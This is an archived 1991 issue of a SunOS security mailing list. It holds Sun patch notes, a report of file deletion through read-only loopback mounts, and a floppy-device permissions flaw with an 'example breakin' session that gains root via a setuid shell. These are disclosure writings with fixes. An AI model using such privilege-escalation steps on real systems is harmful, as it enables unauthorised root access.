|
|
ARCHIVE: Core 'Security Digest' - Archives (1990 - 1991)
DOCUMENT: Core 'Security Digest' V1 #16 1991-05-10 (1 file, 2211 bytes)
SOURCE: http://securitydigest.org/exec/display?f=core/archive/116.txt&t=text/plain
NOTICE: securitydigest.org recognises the rights of all third-party works.
START OF DOCUMENT
Date: Fri May 10 22:27:32 PDT 1991
Subject: Core Security Digest V1 #16
Core Security Digest Volume 1 Issue 16
subject(s):
Sun Patch Information.
Possible security problem with SunOS's lofs
Security problem with floppies onder SunOS
The unix core security mailing list is by invitation only and contains
sensitive material which SHOULD NOT BE REVEALED to non-members.
DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS.
If you must keep copies on-line, please encrypt them at the very least.
PLEASE POST TO: core@uninet.cpd.com
PLEASE SEND EMERGENCY ALERTS TO: core-emergency@uninet.cpd.com
PLEASE SEND REQUESTS TO: core-request@uninet.cpd.com
------------------------------------------------------------------------
Date: Wed, 17 Apr 91 16:59:03 PDT
From: Brad.Powell@Corp.Sun.COM (Brad Powell )
Subject: Sun Patch Information.
Two patches are available fixing some old problems. No formal Security Bulletin
is planned at this time for either of these, unless some of you feel strongly
otherwise.
Here is the information.
Sun Patchid Sun BugID Synopsis
100251-01 1044909 /usr/lib/expreserve race condition. Expreserve
create(2)s a file as root in either /usr/preserve
or /usr/preserve/$USER and then chmod(2)s the file.
The Berkeley 4.3 version contains this bug as does
earlier versions of expreserve as well as System V
implementation until SVR4.0. This allowed for the
"race" to occure.Verified that the hole gives
ownership of any file to a user under no special
circumstances. The race condition occurs in
expreserve.c between the creation of the preserve
file and the change of ownership. The fix is to change
ownership of the file descriptor, instead of the
file name.
Sun Patchid Sun BugID Synopsis
100257-02 1052428 ld.so's usage of stored -L options when running a
setuid program gives "too much rope". When relative
pathnames are used, the resulting program will also
use relative pathnames when searching for libraries
and in the case of a setuid executable, this can
open the possibility for subversion of such
programs.
------------------------------------------------------------------------
Date: Thu, 25 Apr 91 01:59:19 -0700
From: shipley@beowolf.tcs.com
Subject: Possible security problem with SunOS's lofs
Tested under SunOS 4.1 ( and 4.1.1 )
Files can be deleted from a file systems mounted read-only via. the
loopback filesystem.
This can be a security problem if you realy on loopback filesystem (lofs)
for protection (for example is if you mount / readonly on /safe_root via lofs
then chroot guest accounts onto /safe_root).
Sun has been notified, the bugid is: 1053782
To repeat: [From memory]
% whoami
shipley
% mkdir /tmp/tester
% cp /etc/motd /tmp/tester/file
% su
# mount
/dev/sd0a on / type 4.2 (rw,nosuid)
/dev/sd0g on /usr type 4.2 (rw)
# mkdir /lo
# mount -t lo -o ro /tmp/tester /lo
# mount
/dev/sd0a on / type 4.2 (rw,nosuid)
/dev/sd0g on /usr type 4.2 (rw)
/tmp/tester on /lo type 4.2 (rw)
# suspend
% cd /lo
% ls -l file
-rw-rw-rw- 1 shipley 23 Jun 4 1990 file
% touch foo
foo: Read-only file system
% rm file
% ls -l file
file not found
ls -Fa
./ ../
%
------------------------------------------------------------------------
Date: Thu, 09 May 91 21:56:18 -0700
From: shipley@beowolf.tcs.com
Subject: Security problem with floppies onder SunOS
Summery:
Read/writable floppy disk devices are a security risk.
OS/Version: SunOS 4.1.1
Description:
The device /dev/fd0 (and /dev/*fd[abc] ) comes with file permissions
of rw-rw-rw- (666).
The risks involved are that anyone can read data from the device
without read permission of the file.
Root access can me access if a floppy is mounted since anyone can
add the setuid bit to a any file or create a newdevice on the
floppy (for example kmem) and gain access to other disks or system
memory.
Example breakin:
% whoami
shipley
% mount
/dev/sd0a on / type 4.2 (rw,nosuid)
/dev/sd0g on /usr type 4.2 (rw)
swap on /tmp type tmp (rw)
/dev/fd0 on /floppy type 4.2 (rw,noauto)
% ls -lg /dev/fd0
brw-r--r-- 2 root staff 16, 2 Apr 23 20:58 /dev/fd0
% ls -lgi /floppy/sh
4 -rwxr-xr-x 1 root daemon 106496 May 9 17:46 /floppy/sh
% adb -w /dev/fd0
[deleted session text]
% sync ; sync ; sync
% ls -lgi /floppy/sh
4 -rwsr-xr-x 1 root daemon 106496 May 9 17:46 /floppy/sh
% /floppy/sh
# whoami
root
Note that if /floppy was mount with the "nosuid" option I could
still gain root auth. by creating a kmem device and changing the
uid of my shell (this is actualy very simple).
Suggested fix:
chmod/chown the floopy disk rw------- (600) root.daemon
------------------------------------------------------------------------
End of Core Security Digest Volume 1 Issue 16
**********************
END OF DOCUMENT
| ISSN 1742-948X 01 (Online) | 2005/03/01 | Copyright 2002-2008 securitydigest.org. All rights reserved. |